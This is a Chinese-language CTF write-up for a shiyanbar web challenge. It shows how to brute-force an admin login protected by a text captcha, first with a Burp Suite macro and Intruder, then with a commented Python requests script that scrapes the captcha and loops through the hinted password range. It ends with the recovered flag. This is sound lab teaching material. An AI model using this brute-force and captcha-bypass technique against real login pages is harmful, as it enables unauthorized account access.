一.http://ctf3.shiyanbar.com/just/index.php
1.用火狐浏览器打开页面:
(注:linux的截图按键可以直接用alt+PrintScreen截取当前的活动窗口,按shift+PrintScreen可以选定区域截图,截图会自动保存在图片目录下)
2. 观察该页面,查看网页源码发现提示。
3.进入该页面:http://ctf3.shiyanbar.com/just/9s81jWjd98YU.php
发现登陆框,并且带有验证码。
4. 用户名锁定为admin,尝试弱口令admin,123456,password等均无法进入。
而且发现每次进入后验证码都会变化,并没有一定的规律。目测无法忽视验证码爆破。
这里会返回密码错误,验证码错误的界面。
5. 所以需要对验证码进行获取再利用bp或者脚本进行爆破。这里查看一下网页源代码,看一下验证码的类型。
可以发现验证码的类型是text类型,这样还很好获取,而且发现了提示,密码位于11111到12111之间。(可以用python或者任何一门语言,很简单的循环生成数字输出到txt文件中就可以生成一个密码表)
第一种方法:
burpsuite设置宏(macro)的方式来进行绕过验证码爆破。
(这里因为kali的burp有些问题,就在windows中操作)
(1)首先打开burpsuite,然后点击project options 选择 sessions拉到最下面就会看见Macros
(2) 点击Add,这时候会弹出两个窗口,一个是Macro Recorder,一个是Macro Editor
(3)Macro Recorder中上方显示的是我们的历史浏览记录,我们需要找到我们刚才登的网站,如果没有的话就抓一次包,就会出现。选中点击OK即可。自动回到Macro Editor
(4)然后我们选中网页,点击 Configure item 弹出下面的窗口 点击下方的Add 我们给他命名为randcode,然后再下面的文本框中选择验证码的数字,我这里是984.之后再上面的 Starter 以及End会自动填写。
(5)点击下方的Add 我们给他命名为randcode,然后再下面的文本框中选择验证码的数字,我这里是984.之后再上面的 Starter 以及End会自动填写。
(6)点击ok,回到界面继续点击ok,我们就完成了这个Macro的配置。接下来需要让burp自动调用该Macro,并替换请求的randcode的值。切回project options的选项卡,找到Session Handling Rules
(7)点击add然后在下方的Rule Actions点击Add并选择run as a macro
(8)这里选择 Update only the following parameters 点击Edit 选择我们刚才添加的randcode,然后其他默认点击ok。
(9)之后点击scope进行如下配置
(10)点击ok回到抓包,我们抓取一个包,并发送到intruder 载入密码表开始暴力破解
之后就很简单了,我们只要找到返回长度不一样的看一下它的response就可以找到flag了。
(错误的会提示密码错误)
第二种方法(脚本):
因为是刚开始接触python,所以注释写的尽量复杂,代码还不够优化。
1 import requests 2 #导入requests包 该包是python实现网络请求的最重要的包之一 3 4 import re 5 #导入re包 该包负责正则表达式 6 7 from requests.exceptions import RequestException 8 #这句话的意思是调用Request包中的错误抛出方法 方便我们查看错误以及调试 9 10 # 第一次获取验证码的方法 11 12 def D(s): 13 url = "http://ctf3.shiyanbar.com/just/9s81jWjd98YU.php" 14 #这里设置url为我们要获取信息的网址 15 html = s.get(url) 16 #get方法可以获取url的所有内容 17 r = html.text.encode('ISO-8859-1').decode(html.apparent_encoding) 18 pattern = re.compile(r'(\d)(\d)(\d)')#这里的验证码为三个整形数 /d含义是0-9的数字 19 # 找到r中的所有匹配的结果,将正则表达式的字符串形式编译为Pattern实例 20 code = pattern.findall(r) 21 randcode = code[0][0] + code[0][1] + code[0][2] 22 return randcode 23 24 #获取返回页面的信息 25 def get_one_page(url, s): 26 try: 27 28 response = s.get(url=url) 29 30 if response.status_code == 200: 31 r = response.text 32 print('------------------------------------') 33 b = r.encode('ISO-8859-1').decode(response.apparent_encoding) 34 if (len(b) != 145): 35 print(b) 36 37 return None 38 39 except RequestException: 40 41 return None 42 43 44 def main(): 45 i= 1 46 47 for j in range(1, 3): 48 49 for k in range(0, 10): 50 51 for m in range(0, 10): 52 53 for n in range(0, 10): 54 payload = '{0}{1}{2}{3}{4}'.format(i, j, k, m, n) 55 #format为字符串格式化方法,就可以使数字排列正确。 56 57 print(payload) 58 59 s = requests.session() 60 #获取session,请求网页时需要用到session id 61 62 s.get("http://ctf3.shiyanbar.com/just/9s81jWjd98YU.php") 63 #获取页面信息 64 randcode = D(s) 65 #调用获取验证码的方法 66 url = 'http://ctf3.shiyanbar.com/just/9s81jWjd98YU.php?username=admin&password={0}&randcode={1}'\ 67 .format( 68 payload, randcode) #将payload 和 randcode带入到拼凑的url中 69 70 #该url由网页的url和三个参数进行拼凑, 71 get_one_page(url, s) 72 #调用显示返回页面信息的方法 73 74 if __name__ == '__main__': 75 main() 76 #一直执行
之后开始执行,python的速度真的很快。
我们可以把控制台的输出结果ctrl+a ,然后ctrl+c复制粘贴到文本文档中。
回复的一般都是密码错误,所以没有密码错误的就是我们想要得到的。
可以用word的编辑查找功能。(一个一个看也可以,后来才知道查找flag就可以)
11713
------------------------------------
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>9s81jWjd98YU</title>
</head>
<body>
<br>
<br>
<center><h3>flag{c369af821e667}</h3></center>